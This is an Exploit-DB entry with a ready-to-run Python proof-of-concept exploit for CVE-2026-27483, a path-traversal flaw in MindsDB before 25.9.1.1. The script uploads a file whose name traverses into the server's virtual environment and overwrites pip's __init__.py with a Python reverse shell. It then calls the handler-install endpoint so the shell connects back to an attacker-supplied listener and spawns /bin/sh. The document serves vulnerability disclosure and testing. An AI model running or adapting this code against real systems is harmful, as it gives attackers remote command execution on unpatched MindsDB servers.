Exploit-DB #52547
Description: MindsDB  25.9.1.1 - Path Traversal
Type: webapps
Platform: multiple
Date: 2026-05-04
Author: thewhiteh4t

Exploit:
# Exploit Title: MindsDB  25.9.1.1 - Path Traversal 
# Date: 06-03-2026
# Exploit Author: Lohitya Pushkar (thewhiteh4t)
# Vendor Homepage: https://mindsdb.com/
# Software Link: https://github.com/mindsdb/mindsdb
# Version: < 25.9.1.1
# Tested on: Arch Linux
# CVE : CVE-2026-27483
# Original Advisory: https://github.com/mindsdb/mindsdb/security/advisories/GHSA-4894-xqv6-vrfq
# Vulnerability Discovery: XlabAITeam

import argparse
import random
import re
import string
import sys

import requests
from packaging.version import Version

PIP_PATH = "../../../../../../venv/lib/python3.10/site-packages/pip/__init__.py"
HANDLER = "anomaly_detection"  # query /api/handlers/ -> not installed handlers

BANNER = """
-------------------------------------
--- CVE-2026-27483 ------------------
--- MindsDB Path Traversal to RCE ---
-------------------------------------

[>] Found By : XlabAITeam
[>] PoC By   : Lohitya Pushkar (thewhiteh4t)
"""

try:
    parser = argparse.ArgumentParser()
    parser.add_argument("-rh", default="127.0.0.1", help="Target host")
    parser.add_argument("-rp", default="47334", help="Target port")
    parser.add_argument("-lh", help="Listener host")
    parser.add_argument("-lp", default="4444", help="Listener port")
    parser.add_argument("-u", help="Username")
    parser.add_argument("-p", help="Password")
    args = parser.parse_args()

    rhost = args.rh
    rport = args.rp
    lhost = args.lh
    lport = args.lp
    user = args.u
    pswd = args.p

    base_url = f"http://{rhost}:{rport}"

    print(BANNER)
    print(f"[>] Target   : {base_url}")
    print(f"[>] LHOST    : {lhost}")
    print(f"[>] LPORT    : {lport}\n")

    def login(username, password):
        r = requests.post(
            f"{base_url}/api/login", json={"username": username, "password": password}
        )
        if r.status_code == 200 and "token" in r.text:
            token = r.json().get("token")
            print("[+] Login successful!")
            return token
        print("[!] Login failed : ", r.status_code)
        print(f"---\n{r.text}\n---")
        return None

    print("[*] Checking status...\n")
    r = requests.get(f"{base_url}/api/status")

    if r.status_code != 200:
        print("[-] Status code :", r.status_code)
        print(f"---\n{r.text}\n---")
        sys.exit()

    status_json = r.json()
    ver = status_json["mindsdb_version"]
    auth = status_json["auth"]["http_auth_enabled"]

    print(f"[*] MindsDB Version : {ver}")
    auth_headers = {}

    ver_clean = Version(re.sub(r"[a-zA-Z].*$", "", ver))
    if ver_clean < Version("25.4.1.0"):
        print(
            f"[!] Version {ver} < 25.4.1.0 — may use Python 3.8/3.9, PoC targets 3.10, manually edit PIP_PATH and try again."
        )
        sys.exit(0)
    if ver_clean >= Version("25.9.1.1"):
        print(f"[!] Version {ver} is patched (>= 25.9.1.1). Aborting.")
        sys.exit(0)

    if auth:
        if not user or not pswd:
            print("[!] Auth is enabled. Provide --username and --password.")
            sys.exit()
        token = login(user, pswd)
        if not token:
            sys.exit()
        auth_headers = {"Authorization": f"Bearer {token}"}
    else:
        print("[*] Auth disabled — proceeding unauthenticated")

    shell_pl = f'''#!/usr/bin/env python3

import os,pty,socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("{lhost.strip()}",{lport.strip()}))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/sh")
'''.replace("\n", "\r\n")

    fname = "".join(random.choices(string.ascii_lowercase, k=8))

    payload = {"name": fname, "source": fname, "source_type": "file"}

    infile = {"file": (PIP_PATH, shell_pl, "text/plain")}

    print("[*] Uploading payload :", fname)
    pr = requests.put(
        f"{base_url}/api/files/{fname}",
        data=payload,
        files=infile,
        headers=auth_headers,
    )

    if pr.status_code == 400:
        print("[+] Payload uploaded!")
    else:
        print("[-] Payload upload request :", pr.status_code)
        print(f"---\n{pr.text}\n---")
        sys.exit()

    print("[*] Triggering payload...")
    r = requests.post(
        f"{base_url}/api/handlers/{HANDLER}/install", json={}, headers=auth_headers
    )

except Exception as exc:
    print("[-] Exception :", exc)
except KeyboardInterrupt:
    sys.exit()